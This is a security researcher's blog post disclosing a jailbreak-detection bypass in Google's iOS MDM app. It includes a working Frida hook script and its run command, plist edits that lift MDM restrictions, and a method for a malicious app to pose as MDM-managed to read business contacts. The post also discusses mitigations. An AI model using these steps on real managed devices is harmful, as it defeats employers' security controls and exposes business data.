It’s Friday, you managed to escape for a couple of hours from a busy working day to see a doctor. Now you have to wait in a boring waiting room at the clinic until it’s your turn to see her majesty. What would you like to do in this time? Answer pending business emails, get lost in social media, or choose a new theme to make your iPhone look awesome? What about: all of the above? It’s nice to have everything on your iPhone: MDM enrollment to access business data, in addition to jailbreak for device freedom. However, MDM solutions ban jailbroken devices, because they are not secure enough to handle sensitive business data. And so, cat and mouse games of jailbreak detection/bypass between MDM solutions and some users develop.
In this blogpost, I highlight how this cat and mouse game with Google’s MDM solution “Google Endpoint Management” is currently going. First, I explain how to bypass jailbreak detection of Google’s MDM solution. Then I show how to manipulate MDM enforced policies on your MDM-enrolled jailbroken device. Since these actions have negative impacts on your device’s security, we’ll also discuss how attackers can exploit this insecure setup to steal business data.
MDM and Jailbreak
Mobile Device Management (MDM) solutions provide an excellent way for employees to handle their work from their mobile devices. When an employee’s device is enrolled in their company’s MDM environment, it can access business email and internal services. Additionally, an MDM server enforces policies on the enrolled devices to ensure that they meet specific levels of security. This usually includes enforcing strong passcodes, blacklisting apps and most importantly confirming that the device is not jailbroken/rooted.
Jailbreak is awesome for users and horrible for their security. iOS enforces important security features such as sandboxing and prevents installation of untrusted software. Sandboxing isolates apps and prevents other apps from accessing their resources such as dedicated memory and storage directory. Jailbreaking an iOS device grants its user root privileges, but disables these security features.
What a sweet sense of power ! You are unstoppable when you’re root …. You can run untrusted software and modify “anything” on the device as you like. But keep in mind: you are not the only root on your jailbroken device! Other installed software may make use of root privileges to do their magic. If they are malicious, they can also steal your data, manipulate your apps or spy on your device. Therefore, most companies do not accept the risk of letting a jailbroken device handle sensitive business data or access their internal network.
Google’s MDM Solution
Google provides its MDM solution as a part of Google Workspace (formaly G Suite). It is called Google Endpoint Management and the MDM iOS app itself is called Google Policy Enforcement. For simplicity, let’s just call them Google MDM and Google MDM app respectively. During my research, I focused on bypassing jailbreak detection of Google MDM. I used an iPhone X that runs iOS 13.5.
My device has already been jailbroken using checkra1n. I installed Google Device Policy iOS app version 3.14 (the latest version at the time of writing this blogpost). I enrolled the device and MDM policies have been successfully installed. Once enrollment is complete, Google MDM app has successfully detected that my phone is jailbroken. This has propagated immediately to the admin panel, as shown in the following figures.
Fair enough! Now let’s have a closer look to know how my phone was correctly detected as jailbroken. Class JailBreakDetectionUtils has a decisive call in this matter, since its functions run several checks to detect a jailbreak such as:
- foundUnexpectedApps :
- Looks for certain software that usually accompany any jailbreak: such as Cydia, sshd and apt
- Looks for specific files that are usually created during jailbreak, such as /private/var/tmp/cydia.log
- canWriteToRestrictedPaths:
- Tests if it is possible to bypass sandboxing and write files in unauthorized paths such as /private/
- doDyldImageChecks:
- Checks for libraries located in locations such as /Library/MobileSubstrate/DynamicLibraries/
So to bypass jailbreak detection, I just need to manipulate all of these checks. That is not very motivating, but the following is.
No… I’m not jailbroken
After running the aforementioned jailbreak detection tests, their results are processed by the function isDeviceJailBroken, which returns the final decision on whether the device is jailbroken. For example, if any function detects a jailbreak, then the return value of isDeviceJailBroken is set to true. Accordingly, the device is considered jailbroken.
Any attacker would be very grateful for this single point of failure. Instead of tricking every jailbreak test the app does, I just need to modify the return value of +[JailBreakDetectionUtils isDeviceJailBroken] to false. This can be easily done by the following Frida script:
if (ObjC.available)
{
try
{
var hook = eval('ObjC.classes.JailBreakDetectionUtils["+ isDeviceJailBroken"]');
Interceptor.attach(hook.implementation, {
onLeave: function(retval) {
console.log("Function +[JailBreakDetectionUtils isDeviceJailBroken] is executed...");
var newret = ptr("0x00")
console.log("\t[-] Original Return Value: " + retval+" ...New Value: "+newret);
retval.replace(newret);
}
});
}
catch(err)
{
console.log("!!!!!!!!!! Exception: " + err.message);
}
}
else
{
console.log("Objective-C Runtime is not available!");
}
Save the script as bypassJB.js, then execute it using the following command:
frida -U -l bypassJB.js -f com.google.DevicePolicy --no-pause
After executing this Frida script, the app does not consider the phone jailbroken anymore. Consequently, the phone is not blocked anymore on the admin panel, as shown in the following figures.
To be fair, it is almost impossible to develop a bulletproof jailbreak detection mechanism. However, Google could have made it harder for an attacker to bypass it. The following mitigations increase the difficulty of bypassing jailbreak detection:
- Obfuscation: It makes reverse engineering harder for attackers. To begin with: let’s not name the decisive jailbreak detection function “isDeviceJailBroken”.
- Avoid simple logic: Jailbreak detection result should not depend on a simple boolean return value.
- Anti-hooking: prevents runtime manipulation attacks on MDM app using techniques such as: monitoring of syscalls with PT_DENY_ATTACH option via ptrace.
This vulnerability was reported to Google more than 6 months ago, with an initial disclosure deadline of 90 days. However, this vulnerability still exists in the recent versions of the app. Until now, I have not received any solid information from Google on when this issue will be fixed.
Full attack scenario
The aforementioned attack can trick any Google MDM solution. However, looking at the big picture, it is more complicated than just bypassing jailbreak detection. Usually when a company implements any MDM solution, it is configured to immediately unenroll (maybe also blacklist) any device, once it is found jailbroken or rooted. Moreover, some companies enroll new corporate-owned devices with MDM, then give them to their employees. If an employee jailbreaks their corporate device, it can be immediately detected by MDM app, maybe even before the jailbreak bypass attack is fully installed and executed.
Furthermore, most MDM apps detect jailbreaks quickly, but some of them need to communicate with their servers before they apply the corresponding action for e.g. unenrollment. Other MDM solutions support offline action, but it is not straight forward to configure. So in case of Google MDM, a real-life attack on an MDM-enrolled unjailbroken device would be as follows:
- An attacker blocks traffic between the device and Google MDM servers. This can be achieved by dropping traffic from the access point.
- The attacker jailbreaks the device.
- Then he executes the jailbreak detection bypass code… whether as a Frida script, Cydia Tweak or a Flex3 rule. Flex3 allows modifying apps’ behavior without any coding experience required.
- Attacker allows traffic again between the device and Google MDM backend.
Offline jailbreak detection action can protect business data from jailbreak attacks between step 2 and 3. On the other hand, it might cause confusion on the MDM admin’s side, because he/she will not know what happened to the device.
My phone, my rules !
So congratulations! You may not deserve the “employee of the month” award by jailbreaking your business device , but you can now receive your business email on a jailbroken device. You can now have fun installing pirated apps and tweaks that make your phone looks special. But… even after jailbreaking your device, you’re still restricted by MDM’s policies ! A strict MDM admin can set policies that prevent app installation, or policies that disable basic features such as Bluetooth or Camera. It’s like escaping jail but your hands are cuffed!
Many MDM configuration and policy files are stored in /var/containers/Shared/SystemGroup/systemgroup.com.apple.configurationprofiles/Library/ConfigurationProfiles/. You can manipulate these files to uncuff yourself from MDM policies and restrictions. The following has worked with Google MDM and some other MDM solutions as well.
Camera
What is life for, if you can’t take a selfie? if your MDM policies prevent you from using your phone camera, you’ll see the following in UserSettings.plist file:
plistutil -i UserSettings.plist
[......]
<key>allowCamera</key>
<dict>
<key>value</key>
<false/>
</dict>
[......]
Modify the value to true, then reboot your device. You can use your camera app again.
App Installation
Your MDM admin might prohibit you from installing apps on your device. This will even hide App Store app on your device. But you can override that:
plistutil -i UserSettings.plist
[......]
<key>allowAppInstallation</key>
<dict>
<key>value</key>
<false/>
</dict>
[......]
<key>allowUIAppInstallation</key>
<dict>
<key>value</key>
<false/>
</dict>
[......]
Change the above values from false to true. After restarting the device, you find App Store app again and you can install apps from there. Additionally, you can side-load apps over USB.
While you are busy setting yourself free from MDM restrictions, malicious apps on your jailbroken device might be doing some business as well…..
Sneaky malicious Apps !!
MDM solutions usually deliver their own apps (also called containers) to store business data securely. These containers isolate business data and handle its secure storage, for e.g. encryption at rest. On the other hand, Apple’s unified management framework provides a flexible solution to store business and personal data in the same native containers, while separating both groups on the access level. For example, an MDM can store business contacts in the same Address Book database that stores personal contacts as well (AddressBook.sqlitedb). This improves user experience, because users can find all contacts in their native Contacts App . But in the background, iOS allows only MDM managed apps to access business contacts, and other apps can access only personal contacts.
Unfortunately this comes with security disadvantages. If a malicious app finds its way to a victim’s MDM-enrolled jailbroken device, it does not need to deal with decrypting MDM containers to steal business data. Instead, it just needs to trick iOS that it’s one of the MDM managed apps allowed to access business data. All the malicious app needs to do is to append its Bundle ID to /var/containers/Shared/SystemGroup/systemgroup.com.apple.configurationprofiles/Library/ConfigurationProfiles/MDMAppManagement.plist file, by adding the following entries highlighted in bold:
<key>metadataByBundleID</key> <dict> [......] <key>com.malicious.app</key> <dict> <key>Attributes</key> <dict/> <key>flags</key> <integer>5</integer> <key>state</key> <integer>7</integer> [......]
You might be thinking right now: “DA !!!! If a malicious app can bypass sandboxing, it can directly capture the stored business data (e.g. business contacts in AddressBook.sqlitedb) instead of manipulating MDM files to capture them!”… You’re right, if the jailbreak is permanent. But if the jailbreak is temporary, then the malicious app can mark itself once as a MDM managed app. After the temporary jailbreak is gone, the app still has “legitimate” access to business contacts through iOS APIs 😉
Sand(box) Castle
As shown in this blogpost, manipulating MDM policies is relatively easy for attackers, in case they can access the policy configuration files stored in ConfigurationProfiles directory. When I reported the attack of MDMAppManagement.plist to Apple, they were interested in a full attack scenario on an unjailbroken device, running the latest iOS version. As far as I know, such scenario does not currently exist, which is good news! In case an attacker jailbreaks their own device that runs a jailbreakable iOS version, and bypasses jailbreak detection of MDM, then it is not Apple’s responsibility to clean this mess! Whether we agree to this or not… let’s get a bit pessimistic, while considering the following points:
Cat and mouse jailbreak
The jailbreak community has been and still is doing a great job to find and exploit vulnerabilities that lead to a jailbreak. It is not a stretch to say that today’s secure iOS version can be tomorrow’s jailbroken one. Moreover, if an unfixable jailbreak such as Checkra1n appears, companies have to replace their vulnerable iOS devices with invulnerable ones. This takes a long time and leaves a good window for attackers to jailbreak devices.
Remote Jailbreak attacks
Employees are not the only suspects to jailbreak their devices! Attackers can jailbreak iOS devices remotely, as in cases of Pegasus and Chaos targeted attacks, which were disclosed in 2016 and 2019 respectively. Keep in mind that these are the disclosed ones 😉 An attacker can target a high-ranked employee’s device with a similar attack, then he just needs to bypass MDM’s jailbreak detection to capture the juicy business secrets. This takes us to the third point.
Jailbreak detection vs. motivation
At the end of the day, jailbreak detection is a client-side mechanism. Therefore, it’s important to highlight that jailbreak detection does not totally prevent enrolling jailbroken devices, but it makes it as hard as possible. In theory, a motivated attacker can manipulate all jailbreak detection tests on a jailbroken device, given enough time.
Temporary Jailbreak
A short time is needed to manipulate MDM policy files. An attacker can disconnect the device, jailbreak it and modify the files. After properly removing any jailbreak trace, the device can go back online and does not raise any security flag at MDM side. The success of this attack depends on several factors, such as: how often MDM app runs jailbreak detection tests and how clean the jailbreak removal is….. but this is another story.
No Jailbreak… No Problem
“No kidding!”… After more than 3 years of its discovery, Apple has finally patched Psychicpaper 0-day in iOS 13.5. This 0-day allowed apps to escape sandboxing on unjailbroken devices if they have special entitlements. If a malicious app exploits a similar vulnerability, it can modify policy files without the need of a jailbreak.
Those sneaky malicious Apps!!
Most malicious apps are hosted on 3rd party sources untrusted by Apple, but there are malicious apps that made it to the Apple App Store! Theoretically, it is possible that a user installs a malicious app from the Apple App Store, which exploits 0 days to bypass sandboxing.
The aforementioned points can be combined to form less-likely attack scenarios that are not the user’s fault. Therefore, it would be great if iOS applies anti-tampering techniques on the MDM configuration files, but I cannot tell how applicable this is.
Conclusion
In the end, I would like to highlight the following points:
- Jailbreak is awesome but risky. I strongly advice against jailbreaking your business device, otherwise you are risking your and other people’s data.
- Google’s MDM solution implements a weak jailbreak detection mechanism, therefore it is currently considered insecure.
- Simple coding logic, lack of obfuscation and absence of anti-hooking protections makes an app vulnerable to many attacks.
- MDM vendors should always work on improving their jailbreak/rooting detection techniques.
- In case of jailbreak detection, an immediate offline action (such as unenrollment) can save sensitive business data from jailbreak attacks.
- Apple’s unified management framework mainly depends on sandboxing to protect business data.
- You can do everything right and still become a victim of jailbreak attacks. In this case, you are probably personally targeted by a motivated attacker, or just unlucky!
Do you have similar experiences to share? We can discuss them in the comments section, or you can contact me directly via:
Email: aabolhadid@ernw.de
Twitter: @bo7adeed.
You just blew my mind